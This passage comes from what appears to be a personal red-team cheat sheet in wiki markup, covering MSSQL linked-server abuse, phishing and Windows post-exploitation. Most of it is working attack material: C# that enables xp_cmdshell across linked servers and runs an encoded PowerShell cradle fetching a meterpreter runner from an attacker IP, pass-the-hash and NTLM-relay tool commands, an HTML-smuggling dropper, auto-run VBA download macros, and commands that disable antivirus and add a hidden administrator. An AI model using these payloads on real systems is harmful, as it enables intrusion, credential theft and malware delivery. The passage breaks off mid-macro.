                ExecutePayloadOnAppsrv01ThroughDC01(con);&lt;br /&gt;
                con.Close();&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
        static void ListLinkedServers(SqlConnection con)&lt;br /&gt;
        {&lt;br /&gt;
            ExecuteReader(con, &amp;quot;EXEC (&#039;sp_linkedservers&#039;) AT DC01;&amp;quot;, reader =&amp;gt; Console.WriteLine(&amp;quot;Linked SQL server: &amp;quot; + reader[0]));&lt;br /&gt;
        }&lt;br /&gt;
        static void DisplayCurrentLoginThroughDC01(SqlConnection con)&lt;br /&gt;
        {&lt;br /&gt;
            string query = &amp;quot;select mylogin from openquery(dc01, &#039;select mylogin from openquery(appsrv01, &#039;&#039;select SYSTEM_USER as mylogin&#039;&#039;)&#039;)&amp;quot;;&lt;br /&gt;
            ExecuteReader(con, query, reader =&amp;gt; Console.WriteLine(&amp;quot;Login: &amp;quot; + reader[0]));&lt;br /&gt;
        }&lt;br /&gt;
        static void DisplayCurrentLoginLocal(SqlConnection con)&lt;br /&gt;
        {&lt;br /&gt;
            ExecuteReader(con, &amp;quot;SELECT SYSTEM_USER;&amp;quot;, reader =&amp;gt; Console.WriteLine(&amp;quot;Executing as login: &amp;quot; + reader[0]));&lt;br /&gt;
        }&lt;br /&gt;
        static void EnableAdvancedOptionsOnBothServers(SqlConnection con)&lt;br /&gt;
        {&lt;br /&gt;
            ExecuteNonQuery(con, &amp;quot;EXEC (&#039;EXEC(&#039;&#039;sp_configure &#039;&#039;&#039;&#039;show advanced options&#039;&#039;&#039;&#039;, 1; reconfigure;&#039;&#039;) AT appsrv01&#039;) AT dc01&amp;quot;);&lt;br /&gt;
            if (CheckIfOptionEnabled(con, &amp;quot;DC01&amp;quot;, &amp;quot;show advanced options&amp;quot;))&lt;br /&gt;
                Console.WriteLine(&amp;quot;&#039;show advanced options&#039; is enabled on DC01.&amp;quot;);&lt;br /&gt;
            else&lt;br /&gt;
                Console.WriteLine(&amp;quot;&#039;show advanced options&#039; is NOT enabled on DC01.&amp;quot;);&lt;br /&gt;
            ExecuteNonQuery(con, &amp;quot;EXEC sp_configure &#039;show advanced options&#039;, 1; RECONFIGURE;&amp;quot;);&lt;br /&gt;
            if (CheckIfOptionEnabled(con, &amp;quot;appsrv01&amp;quot;, &amp;quot;show advanced options&amp;quot;))&lt;br /&gt;
                Console.WriteLine(&amp;quot;&#039;show advanced options&#039; is enabled on appsrv01.&amp;quot;);&lt;br /&gt;
            else&lt;br /&gt;
                Console.WriteLine(&amp;quot;&#039;show advanced options&#039; is NOT enabled on appsrv01.&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
        static void EnableXpCmdShellOnBothServers(SqlConnection con)&lt;br /&gt;
        {&lt;br /&gt;
            // Enable xp_cmdshell on appsrv01 through DC01&lt;br /&gt;
            ExecuteNonQuery(con, &amp;quot;EXEC (&#039;EXEC(&#039;&#039;sp_configure &#039;&#039;&#039;&#039;xp_cmdshell&#039;&#039;&#039;&#039;, 1; reconfigure;&#039;&#039;) AT appsrv01&#039;) AT dc01&amp;quot;);&lt;br /&gt;
            // Enable xp_cmdshell on DC01&lt;br /&gt;
            ExecuteNonQuery(con, &amp;quot;EXEC (&#039;sp_configure &#039;&#039;xp_cmdshell&#039;&#039;, 1; reconfigure;&#039;) AT dc01&amp;quot;);&lt;br /&gt;
            if (CheckIfOptionEnabled(con, &amp;quot;DC01&amp;quot;, &amp;quot;xp_cmdshell&amp;quot;))&lt;br /&gt;
                Console.WriteLine(&amp;quot;&#039;xp_cmdshell&#039; is enabled on DC01.&amp;quot;);&lt;br /&gt;
            else&lt;br /&gt;
                Console.WriteLine(&amp;quot;&#039;xp_cmdshell&#039; is NOT enabled on DC01.&amp;quot;);&lt;br /&gt;
            if (CheckIfOptionEnabled(con, &amp;quot;appsrv01&amp;quot;, &amp;quot;xp_cmdshell&amp;quot;))&lt;br /&gt;
                Console.WriteLine(&amp;quot;&#039;xp_cmdshell&#039; is enabled on appsrv01.&amp;quot;);&lt;br /&gt;
            else&lt;br /&gt;
                Console.WriteLine(&amp;quot;&#039;xp_cmdshell&#039; is NOT enabled on appsrv01.&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
&lt;br /&gt;
        static void ExecutePayloadOnAppsrv01ThroughDC01(SqlConnection con)&lt;br /&gt;
        {&lt;br /&gt;
                    //$text = &amp;quot;(New-Object System.Net.WebClient).DownloadString(&#039;http://192.168.45.221/run.txt&#039;) | IEX&amp;quot;&lt;br /&gt;
                    // In run.txt is the SimpleShellcode runner with msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=tun0 LPORT=443 -f ps1&lt;br /&gt;
                    //$bytes = [System.Text.Encoding]::Unicode.GetBytes($text)&lt;br /&gt;
                    //$EncodedText = [Convert]::ToBase64String($bytes)&lt;br /&gt;
            ExecuteNonQuery(con, &amp;quot;EXEC (&#039;EXEC(&#039;&#039;xp_cmdshell &#039;&#039;&#039;&#039;powershell -e KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADQANQAuADIANAA0AC8AcgB1AG4ALgB0AHgAdAAnACkAIAB8ACAASQBFAFgA&#039;&#039;&#039;&#039; &#039;&#039;) AT appsrv01&#039;) AT dc01&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
        static void ExecuteReader(SqlConnection con, string query, Action action)&lt;br /&gt;
        {&lt;br /&gt;
            using (SqlCommand cmd = new SqlCommand(query, con))&lt;br /&gt;
            {&lt;br /&gt;
                using (SqlDataReader reader = cmd.ExecuteReader())&lt;br /&gt;
                {&lt;br /&gt;
                    while (reader.Read())&lt;br /&gt;
                    {&lt;br /&gt;
                        action(reader);&lt;br /&gt;
                    }&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
        static void ExecuteNonQuery(SqlConnection con, string query)&lt;br /&gt;
        {&lt;br /&gt;
            try&lt;br /&gt;
            {&lt;br /&gt;
                using (SqlCommand cmd = new SqlCommand(query, con))&lt;br /&gt;
                {&lt;br /&gt;
                    cmd.ExecuteNonQuery();&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
            catch (Exception ex)&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine($&amp;quot;Failed to execute query. Error: {ex.Message}&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
        static bool CheckIfOptionEnabled(SqlConnection con, string server, string option)&lt;br /&gt;
        {&lt;br /&gt;
            string query = server == &amp;quot;DC01&amp;quot;&lt;br /&gt;
                ? $&amp;quot;SELECT value_in_use FROM OPENQUERY({server}, &#039;SELECT value_in_use FROM sys.configurations WHERE name = &#039;&#039;{option});&amp;quot;&lt;br /&gt;
                : $&amp;quot;SELECT value_in_use FROM sys.configurations WHERE name = &#039;{option}&#039;;&amp;quot;;&lt;br /&gt;
            using (SqlCommand cmd = new SqlCommand(query, con))&lt;br /&gt;
            {&lt;br /&gt;
                return Convert.ToInt32(cmd.ExecuteScalar()) == 1;&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Automating linked SQL enum and attacks ===&lt;br /&gt;
&lt;br /&gt;
==== PowerUpSQL.ps1 ====&lt;br /&gt;
&lt;br /&gt;
[https://book.ghanim.no/?p=2078#MSSQL_Trusted_Links Active Directory – Notes, Methodology, Cheatsheet – BOOK_GHANIM]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/NetSPI/PowerUpSQL GitHub - NetSPI/PowerUpSQL: PowerUpSQL: A PowerShell Toolkit for Attacking SQL Server]&lt;br /&gt;
&lt;br /&gt;
==== Evil SQL Client ====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/NetSPI/ESC GitHub - NetSPI/ESC: Evil SQL Client (ESC) is an interactive .NET SQL console client with enhanced SQL Server discovery, access, and data exfiltration features. While ESC can be a handy SQL Client for daily tasks, it was originally designed for targeting SQL Servers during penetration tests and red team engagements. The intent of the project is to provide an .exe, but also sample files for execution through mediums like msbuild and PowerShell.]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# First run the .exe on target machine&lt;br /&gt;
# Find domainspns&lt;br /&gt;
SQLCLIENT&amp;gt; discover domainspn&lt;br /&gt;
# Show discovered instances.&lt;br /&gt;
SQLCLIENT&amp;gt; show discovered&lt;br /&gt;
# List links information for accessoble target SQL Server instances.&lt;br /&gt;
list links&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== MSSQL Pwner (Best tool) ====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/ScorpionesLabs/MSSqlPwner GitHub - ScorpionesLabs/MSSqlPwner]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# We assume we have access to appsrv01 as a non-sa account. appsrv01 have a link to DC01. The link is bidirectional. We can use that to escalate our privileges on appsrv01.&lt;br /&gt;
python3 MSSqlPwner.py corp1.com/offsec:lab@192.168.229.6 -windows-auth interactive&lt;br /&gt;
...&lt;br /&gt;
[*] Discovered server principal: APPSRV01\Administrator on APPSRV01 (CORP1\offsec@master/guest) -&amp;gt; DC01 (sa@master/dbo) -&amp;gt; APPSRV01 (sa@master/dbo)&lt;br /&gt;
...&lt;br /&gt;
# Pass the hash MSSQLPwner&lt;br /&gt;
MSSqlPwner.py administrator@192.168.231.140 -hashes :5c3e856f452d9cecc5801a954ab22122 -windows-auth interactive&lt;br /&gt;
&lt;br /&gt;
# Set link server to DC01&lt;br /&gt;
MSSqlPwner#APPSRV01 (CORP1\offsec@master/guest)&amp;gt; set-link-server DC01&lt;br /&gt;
[*] Chosen linked server: DC01&lt;br /&gt;
# Execute commands. MSSQL Pwner will enable xp_cmdshell automatically if the user have rights.&lt;br /&gt;
MSSqlPwner#APPSRV01 (CORP1\offsec@master/guest) -&amp;gt; DC01 (sa@master/dbo)&amp;gt; exec whoami&lt;br /&gt;
[*] Chosen linked server: DC01&lt;br /&gt;
[*] Reconfiguring show advanced options&lt;br /&gt;
[*] Reconfiguring xp_cmdshell&lt;br /&gt;
[*] The xp_cmdshell command executed successfully on APPSRV01 (CORP1\offsec@master/guest) -&amp;gt; DC01 (sa@master/dbo)&lt;br /&gt;
[*] Result: (Key: output) corp1\sqlsvc&lt;br /&gt;
[*] Result: (Key: output) NULL&lt;br /&gt;
# Execute commands on appsrv01 through DC01&lt;br /&gt;
# First get the chain list&lt;br /&gt;
MSSqlPwner#APPSRV01 (CORP1\offsec@master/guest) -&amp;gt; DC01 (sa@master/dbo)&amp;gt; get-chain-list&lt;br /&gt;
[*] Chosen linked server: DC01&lt;br /&gt;
[*] Chain list:&lt;br /&gt;
[*] 995f1680-2ad4-4f50-8606-47312d5b5807 - APPSRV01 (CORP1\offsec@master/guest) (CORP1\offsec guest@master)&lt;br /&gt;
[*] aacabf55-4bb6-40e3-a0ce-feb406d26b1e - APPSRV01 (CORP1\offsec@master/guest) -&amp;gt; DC01 (sa@master/dbo) (sa dbo@master)&lt;br /&gt;
[*] f74445c8-4fb7-4a68-86d8-9c14cfd9470a - APPSRV01 (CORP1\offsec@master/guest) -&amp;gt; DC01 (sa&amp;gt;I:CORP1\Administrator@master/dbo) (CORP1\Administrator dbo@master)&lt;br /&gt;
[*] 9f676285-ffe4-4a97-b7b4-f4f59e128a2f - APPSRV01 (CORP1\offsec@master/guest) -&amp;gt; DC01 (sa@master/dbo) -&amp;gt; APPSRV01 (sa@master/dbo) (sa dbo@master)&lt;br /&gt;
[*] c7ecd747-93cf-4978-aab2-33a8864400f1 - APPSRV01 (CORP1\offsec@master/guest) -&amp;gt; DC01 (sa@master/dbo) -&amp;gt; APPSRV01 (sa&amp;gt;I:APPSRV01\Administrator@master/dbo) (APPSRV01\Administrator dbo@master)&lt;br /&gt;
&lt;br /&gt;
# Set the chain by using the chain ID and execute a command&lt;br /&gt;
MSSqlPwner#APPSRV01 (CORP1\offsec@master/guest) -&amp;gt; DC01 (sa@master/dbo)&amp;gt; set-chain c7ecd747-93cf-4978-aab2-33a8864400f1&lt;br /&gt;
[*] Chosen chain: APPSRV01 (CORP1\offsec@master/guest) -&amp;gt; DC01 (sa@master/dbo) -&amp;gt; APPSRV01 (sa&amp;gt;I:APPSRV01\Administrator@master/dbo) (ID: c7ecd747-93cf-4978-aab2-33a8864400f1)&lt;br /&gt;
MSSqlPwner#APPSRV01 (CORP1\offsec@master/guest) -&amp;gt; DC01 (sa@master/dbo) -&amp;gt; APPSRV01 (sa&amp;gt;I:APPSRV01\Administrator@master/dbo)&amp;gt; exec whoami&lt;br /&gt;
[*] Chosen chain: APPSRV01 (CORP1\offsec@master/guest) -&amp;gt; DC01 (sa@master/dbo) -&amp;gt; APPSRV01 (sa&amp;gt;I:APPSRV01\Administrator@master/dbo) (ID: c7ecd747-93cf-4978-aab2-33a8864400f1)&lt;br /&gt;
[*] Reconfiguring show advanced options&lt;br /&gt;
[*] Reconfiguring xp_cmdshell&lt;br /&gt;
[*] The xp_cmdshell command executed successfully on APPSRV01 (CORP1\offsec@master/guest) -&amp;gt; DC01 (sa@master/dbo) -&amp;gt; APPSRV01 (sa&amp;gt;I:APPSRV01\Administrator@master/dbo)&lt;br /&gt;
[*] Result: (Key: output) corp1\sqlsvc&lt;br /&gt;
[*] Result: (Key: output) NULL&lt;br /&gt;
# To get a shell on appsrv01 through DC01&lt;br /&gt;
MSSqlPwner#APPSRV01 (CORP1\offsec@master/guest) -&amp;gt; DC01 (sa@master/dbo) -&amp;gt; APPSRV01 (sa&amp;gt;I:APPSRV01\Administrator@master/dbo)&amp;gt; exec &amp;quot;powershell.exe -e KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADQANQAuADIAMAAxAC8AcgB1AG4ALgB0AHgAdAAnACkAIAB8ACAASQBFAFgA&amp;quot;&lt;br /&gt;
# The encoded powershell command&lt;br /&gt;
$text = &amp;quot;(New-Object System.Net.WebClient).DownloadString(&#039;http://192.168.119.120/run.txt&#039;) | IEX&amp;quot;&lt;br /&gt;
$bytes = [System.Text.Encoding]::Unicode.GetBytes($text)&lt;br /&gt;
$EncodedText = [Convert]::ToBase64String($bytes)&lt;br /&gt;
$EncodedText&lt;br /&gt;
# run.txt is a powershell shellcode runner.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-10-image-9.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
--------------------------&lt;br /&gt;
# From GitHub&lt;br /&gt;
# Interactive mode&lt;br /&gt;
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth interactive&lt;br /&gt;
# Interactive mode with 2 depth level of impersonations&lt;br /&gt;
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth  -max-impersonation-depth 2 interactive&lt;br /&gt;
&lt;br /&gt;
# Executing custom assembly on the current server with windows authentication and executing hostname command&lt;br /&gt;
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth custom-asm hostname&lt;br /&gt;
# Executing custom assembly on the current server with windows authentication and executing hostname command on the SRV01 linked server&lt;br /&gt;
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 custom-asm hostname&lt;br /&gt;
# Executing the hostname command using stored procedures on the linked SRV01 server&lt;br /&gt;
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec hostname&lt;br /&gt;
# Executing the hostname command using stored procedures on the linked SRV01 server with sp_oacreate method&lt;br /&gt;
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec &amp;quot;cmd /c mshta http://192.168.45.250/malicious.hta&amp;quot; -command-execution-method sp_oacreate&lt;br /&gt;
# Issuing NTLM relay attack on the SRV01 server&lt;br /&gt;
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 ntlm-relay 192.168.45.250&lt;br /&gt;
# Issuing NTLM relay attack on chain ID 2e9a3696-d8c2-4edd-9bcc-2908414eeb25&lt;br /&gt;
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth -chain-id 2e9a3696-d8c2-4edd-9bcc-2908414eeb25 ntlm-relay 192.168.45.250&lt;br /&gt;
# Issuing NTLM relay attack on the local server with custom command&lt;br /&gt;
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.250&lt;br /&gt;
# Executing direct query&lt;br /&gt;
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth direct-query &amp;quot;SELECT CURRENT_USER&amp;quot;&lt;br /&gt;
# Retrieving password from the linked server DC01&lt;br /&gt;
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth -link-server DC01 retrive-password&lt;br /&gt;
# Execute code using custom assembly on the linked server DC01&lt;br /&gt;
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth -link-server DC01 inject-custom-asm SqlInject.dll&lt;br /&gt;
# Bruteforce using tickets, hashes, and passwords against the hosts listed on the hosts.txt&lt;br /&gt;
python3 MSSqlPwner.py hosts.txt brute -tl tickets.txt -ul users.txt -hl hashes.txt -pl passwords.txt&lt;br /&gt;
# Bruteforce using hashes, and passwords against the hosts listed on the hosts.txt&lt;br /&gt;
python3 MSSqlPwner.py hosts.txt brute -ul users.txt -hl hashes.txt -pl passwords.txt&lt;br /&gt;
# Bruteforce using tickets against the hosts listed on the hosts.txt&lt;br /&gt;
python3 MSSqlPwner.py hosts.txt brute -tl tickets.txt -ul users.txt&lt;br /&gt;
# Bruteforce using passwords against the hosts listed on the hosts.txt&lt;br /&gt;
python3 MSSqlPwner.py hosts.txt brute -ul users.txt -pl passwords.txt&lt;br /&gt;
# Bruteforce using hashes against the hosts listed on the hosts.txt&lt;br /&gt;
python3 MSSqlPwner.py hosts.txt brute -ul users.txt -hl hashes.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== [https://github.com/dadevel/mssql-spider mssql-spider] (Great tool) ====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/dadevel/mssql-spider dadevel/mssql-spider: Automated exploitation of MSSQL servers at scale (github.com)]&lt;br /&gt;
&lt;br /&gt;
This tool is kinda similar to mssqlpwner.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Authentication&lt;br /&gt;
# As local database user.&lt;br /&gt;
mssql-spider -u jdoe -p &#039;passw0rd&#039; -t db01.corp.local&lt;br /&gt;
# As local windows user.&lt;br /&gt;
mssql-spider -w -u administrator -p &#039;passw0rd&#039; -t db01.corp.local&lt;br /&gt;
# As domain user via NTLM and a password.&lt;br /&gt;
mssql-spider -d corp.local -u jdoe -p &#039;passw0rd&#039; -t db01.corp.local&lt;br /&gt;
# As domain user via NTLM Pass the Hash.&lt;br /&gt;
mssql-spider -d corp.local -u jdoe -H b9f917853e3dbf6e6831ecce60725930 -t db01.corp.local&lt;br /&gt;
# As domain user via Kerberos Overpass the Key.&lt;br /&gt;
mssql-spider -d corp.local -u jdoe -H b9f917853e3dbf6e6831ecce60725930 -k -t db01.corp.local&lt;br /&gt;
# As domain user via Kerberos Pass the Key.&lt;br /&gt;
mssql-spider -d corp.local -u jdoe -a c4c283276339e2d6b390eb5a11d419c9 -k -t db01.corp.local&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Phishing (Client side code exec) ==&lt;br /&gt;
&lt;br /&gt;
REMEMBER - Check if MS word is running 64-bit or 32-bit&lt;br /&gt;
&lt;br /&gt;
=== HTML Smuggeling ===&lt;br /&gt;
&lt;br /&gt;
HTML Smuggeling is when a victim clicks on a malicious link and JavaScript code inside the website will use HTML smuggeling to automatically save the dropper file. The technique uses the HTML5 anchor tag download attribute instructs the&lt;br /&gt;
browser to automatically download a file when a user clicks the assigned hyperlink.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
In the example below I will create a dropper file, and host a website which automatically downloads my dropper once the victim clicks on the link using the HTML code below.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Generate a staged payload using msfvenom.&lt;br /&gt;
sudo msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.1.126 LPORT=443 -f exe -o msfstaged.exe&lt;br /&gt;
# Saved it as base64 as to not lose any data.&lt;br /&gt;
base64 msfstaged.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;markup&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
		function base64ToArrayBuffer(base64) {&lt;br /&gt;
			var binary_string = window.atob(base64);&lt;br /&gt;
			var len = binary_string.length;&lt;br /&gt;
			var bytes = new Uint8Array( len );&lt;br /&gt;
			for (var i = 0; i&lt;br /&gt;
			var file =&amp;quot;TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAA...&amp;quot;&lt;br /&gt;
			var data = base64ToArrayBuffer(file);&lt;br /&gt;
			var blob = new Blob([data], {type: &#039;octet/stream&#039;});&lt;br /&gt;
			var fileName = &#039;msfstaged.exe&#039;;&lt;br /&gt;
&lt;br /&gt;
			var a = document.createElement(&#039;a&#039;);&lt;br /&gt;
			document.body.appendChild(a);&lt;br /&gt;
			a.style = &#039;display: none&#039;;&lt;br /&gt;
			var url = window.URL.createObjectURL(blob);&lt;br /&gt;
			a.href = url;&lt;br /&gt;
			a.download = fileName;&lt;br /&gt;
			a.click();&lt;br /&gt;
			window.URL.revokeObjectURL(url);&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-02-image.png|thumb|When the victim clicks a link in our phishing mail it will automatically download the dropper file onto the victim machine.]]&lt;br /&gt;
&lt;br /&gt;
=== BobTheSmuggler ===&lt;br /&gt;
&lt;br /&gt;
[https://github.com/TheCyb3rAlpha/BobTheSmuggler?tab=readme-ov-file TheCyb3rAlpha/BobTheSmuggler: &amp;quot;Bob the Smuggler&amp;quot;: A tool that leverages HTML Smuggling Attack and allows you to create HTML files with embedded 7z/zip archives. The tool would compress your binary (EXE/DLL) into 7z/zip file format, then XOR encrypt the archive and then hides inside PNG/GIF image file format (Image Polyglots). (github.com)]&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;&amp;quot;Bob the Smuggler&amp;quot;&#039;&#039;&#039; is a tool that leverages HTML Smuggling Attack and allows you to create HTML files with embedded 7z/zip archives. The tool would compress your binary (EXE/DLL) into 7z/zip file format, then XOR encrypt the archieve and then hides inside PNG/GIF image file format (Image Polyglots). The JavaScript embedded within the HTML will download the PNG/GIF file and store it in the cache. Following this, the JavaScript will extract the data embedded in the PNG/GIF, assemble it, perform XOR decryption, and then store it as an in-memory blob.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# If you want to compress SharpHound.exe into 7z format (password protected) and store it in a HTML file, you can use the following command:&lt;br /&gt;
python3 BobTheSmuggler.py -i path/to/SharpHound.exe -p 123456 -c 7z -f SharpHound.html -o SharpHound.7z -t html&lt;br /&gt;
# To create an HTML file with the embedded payload hidden inside PNG file, you can use the following command:&lt;br /&gt;
python3 BobTheSmuggler.py -i  -p  -f  -o  -t png test.png&lt;br /&gt;
# Embed payload inside GIF File:&lt;br /&gt;
python3 BobTheSmuggler.py -i  -p  -f  -o  -t gif test.gif&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2024-01-image.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
[[File:2024-01-image-1.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
Zip Sharphound and use OneDrive template.&lt;br /&gt;
&lt;br /&gt;
=== Microsoft Office Macro Client-side Attack ===&lt;br /&gt;
&lt;br /&gt;
REMEMBER - Check if 32-bit or 64-bit&lt;br /&gt;
&lt;br /&gt;
[https://blog.aghanim.net/?page_id=1809#Microsoft_Word https://blog.aghanim.net/?page_id=1809#Microsoft_Word]&lt;br /&gt;
&lt;br /&gt;
==== Visual Basic for Applications  [VBA] ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;visual&amp;quot;&amp;gt;&lt;br /&gt;
&#039;VBA Datatype&lt;br /&gt;
&#039;Dim is used to declare variables&lt;br /&gt;
Dim myString As String # Unicode&lt;br /&gt;
Dim myLong As Long # 64-bit integer&lt;br /&gt;
Dim myPointer As LongPtr # Memory pointer&lt;br /&gt;
&#039;Example - if and else statement&lt;br /&gt;
Sub MyMacro()&lt;br /&gt;
Dim myLong As Long&lt;br /&gt;
myLong = 1&lt;br /&gt;
If myLong &amp;lt; 5 Then&lt;br /&gt;
   MsgBox (&amp;quot;True&amp;quot;)&lt;br /&gt;
Else&lt;br /&gt;
   MsgBox (&amp;quot;False&amp;quot;)&lt;br /&gt;
End If&lt;br /&gt;
End Sub&lt;br /&gt;
&lt;br /&gt;
&#039;Example - Launch cmd.exe with a hidden window&lt;br /&gt;
Sub Document_Open()&lt;br /&gt;
   MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
Sub AutoOpen()&lt;br /&gt;
   MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
Sub MyMacro()&lt;br /&gt;
   Dim str As String&lt;br /&gt;
   str = &amp;quot;cmd.exe&amp;quot;&lt;br /&gt;
   Shell str, vbHide&lt;br /&gt;
End Sub&lt;br /&gt;
&#039;The picture below show the cmd.exe running as a child process of winword.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-02-image-1.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
== Persistence/ Post Explotation ==&lt;br /&gt;
&lt;br /&gt;
=== Linux ===&lt;br /&gt;
&lt;br /&gt;
[https://book.ghanim.no/?page_id=2703#Linux_Post_Explotation CheatSheet II – Advanced – BOOK_GHANIM]&lt;br /&gt;
&lt;br /&gt;
=== Windows ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Disable Anti-virus&lt;br /&gt;
Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true&lt;br /&gt;
# Disable firewall&lt;br /&gt;
NetSh Advfirewall set allprofiles state off&lt;br /&gt;
# Enable RDP&lt;br /&gt;
Set-ItemProperty -Path &amp;quot;HKLM:\System\CurrentControlSet\Control\Terminal Server&amp;quot; -name &amp;quot;fDenyTSConnections&amp;quot; -value 0&lt;br /&gt;
&lt;br /&gt;
# Disable restricted mode in order to PTH as authentication on RDP&lt;br /&gt;
New-ItemProperty -Path &amp;quot;HKLM:\System\CurrentControlSet\Control\Lsa&amp;quot; -Name DisableRestrictedAdmin -Value 0&lt;br /&gt;
# Create a new user&lt;br /&gt;
net user username password /ADD&lt;br /&gt;
# This will add the new user to the RDP group and local administratos group&lt;br /&gt;
net localgroup &amp;quot;Remote Desktop Users&amp;quot; username /add&lt;br /&gt;
net localgroup &amp;quot;Administrators&amp;quot; username /add&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== PowerShell in VBA ==&lt;br /&gt;
&lt;br /&gt;
=== Download cradle ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;visual&amp;quot;&amp;gt;&lt;br /&gt;
Sub MyMacro()&lt;br /&gt;
	Dim strArg As String&lt;br /&gt;
	strArg = &amp;quot;powershell -exec bypass -nop -c iex((new-object&lt;br /&gt;
system.net.webclient).downloadstring(&#039;http://192.168.119.120/run.txt&#039;))&amp;quot;&lt;br /&gt;
	Shell strArg, vbHide&lt;br /&gt;
End Sub&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== WMI: Unlinking PowerShell from Office ===&lt;br /&gt;
&lt;br /&gt;
Use WMI from VBA to create a PowerShell process instead of having it as a child process of Microsoft Word.&lt;br /&gt;
&lt;br /&gt;
Remember that since this is NOT ran as a child process of MS word, the PowerShell will open in 64-bit!&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;visual&amp;quot;&amp;gt;&lt;br /&gt;
Sub MyMacro&lt;br /&gt;
